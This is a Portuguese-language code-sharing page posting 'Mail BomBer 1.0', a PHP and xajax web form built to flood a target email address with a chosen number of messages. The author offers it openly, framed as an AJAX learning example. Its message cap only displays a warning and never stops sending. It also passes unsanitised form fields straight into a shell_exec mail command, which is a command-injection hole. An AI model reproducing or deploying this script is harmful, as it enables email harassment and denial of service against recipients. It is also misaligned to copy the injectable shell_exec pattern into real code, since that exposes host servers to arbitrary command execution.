Mail BomBer 1.0

Publicado por Thiago Fernandes de Melo 16/08/2006

[ Hits: 5.897 ]

Homepage: http://www.hospedarfacil.com.br

Download xajax.inc.php




Ae galera, fiz um mailbomber com XAJAX e PHP. Espero que lhes sirvam pra alguma coisa, pelo menos pra galerinha que tá querendo aprender AJAX. XAJAX é um framework pra trabalhar com AJAX no PHP. []´s. PS.: tem que ter algum servidor de e-mail no PC, Postfix ou Sendmail. Obs.: Tem que salvar os 2 arquivos, faça o download do XAJAX e salva o código-fonte com extensão .php.

  



Esconder código-fonte

<?
require_once("xajax.inc.php");
function limp()
{
$objResponse = new xajaxResponse();

        if($a['qts'] < 100)
                $Resposta = "";

$objResponse->addAssign("checando","innerHTML", $Resposta);
return $objResponse->getXML();
}
//////////////////////////////////////////////////
function check($a)
{
$objResponse = new xajaxResponse();
   
   if($a['qts'] > 10)
      $Resposta = "<font size=2 color=red><b>*A quantidade Excede o Limite.</b></font>";
   
$objResponse->addAssign("checando","innerHTML", $Resposta);

return $objResponse->getXML();
}
//////////////////////////////////////////////////
function checkdestino($a)
{
$objResponse = new xajaxResponse();

        if($a['destino'] == "")
                $Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>";

$objResponse->addAssign("checando1","innerHTML", $Resposta);

return $objResponse->getXML();
}
//////////////////////////////////////////////////
function checkassunto($a)
{
$objResponse = new xajaxResponse();

        if($a['assunto'] == "")
                $Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>";

$objResponse->addAssign("checando2","innerHTML", $Resposta);

return $objResponse->getXML();
}
//////////////////////////////////////////////////
function flood($a)
{
$objResponse = new xajaxResponse();
      
   $Rss = "<b>Msg: </b>" .$a['destino']. "<br><b>Qts: </b>" .$a['qts']. "<br><b>Ass: </b>" .$a['assunto']. "</b><br><b>Msg: </b>" .$a['msg']. " ";
      
   $objResponse->addAssign("Resultado","innerHTML", nl2br(print_r($Rss, true)));


    return $objResponse->getXML();


}
///////////////////////////////////////////////////
function fdnow($a)
{
$objResponse = new xajaxResponse();
   $s = $a['qts'];
   $as = $a['assunto'];
   $dss = $a['msg'];
   $ds = $a['destino'];
   for($i = 0; $i<$s;$i++){
      $Send[$i] = "Enviando " .$i. " de " .$s. "";
      shell_exec("echo $as |mail -s $dss $ds");
}
   $objResponse->addAssign("fding","innerHTML", print_r($Send, true));

    return $objResponse->getXML();


}
///////////////////////////////////////////////////

$xajax = new xajax();
$xajax->registerFunction("flood");
$xajax->registerFunction("check");
$xajax->registerFunction("checkdestino");
$xajax->registerFunction("checkassunto");
$xajax->registerFunction("limp");
$xajax->registerFunction("fdnow");
$xajax->processRequests();

?>
<html>
<head>
<? $xajax->printJavascript(); ?>
</head>
<body>
<form name=tx><table>
<tr><td>Destino:</td><td><input type=text name=destino onblur="xajax_checkdestino(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando1"></div></td></tr>
<tr><td>Assunto:</td><td><input type=text name=assunto  onblur="xajax_checkassunto(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando2"></div></tr>
<tr><td>Quantos:</td><td><input type=text name=qts onblur="xajax_check(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando"></div></td></tr>
<tr><td>Msg:</td><td><textarea name=msg></textarea></td></tr>
<tr><td><input type=button name=send value=Flood onclick=" xajax_fdnow(xajax.getFormValues('tx',true)); return false"></td></tr></table><table>
<tr><td><div id="fding">Aguardando...</div></td></tr>

</form>
</body>
</html>

Scripts recomendados

Leitura de planilhas com PhpSpreadsheet

TxtXtrator: Classe para extração e conversão de dados de arquivos texto

Sistema de comentarios em PHP

Menu restrito com permissões de navegação

Tabela Temporária PHP


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts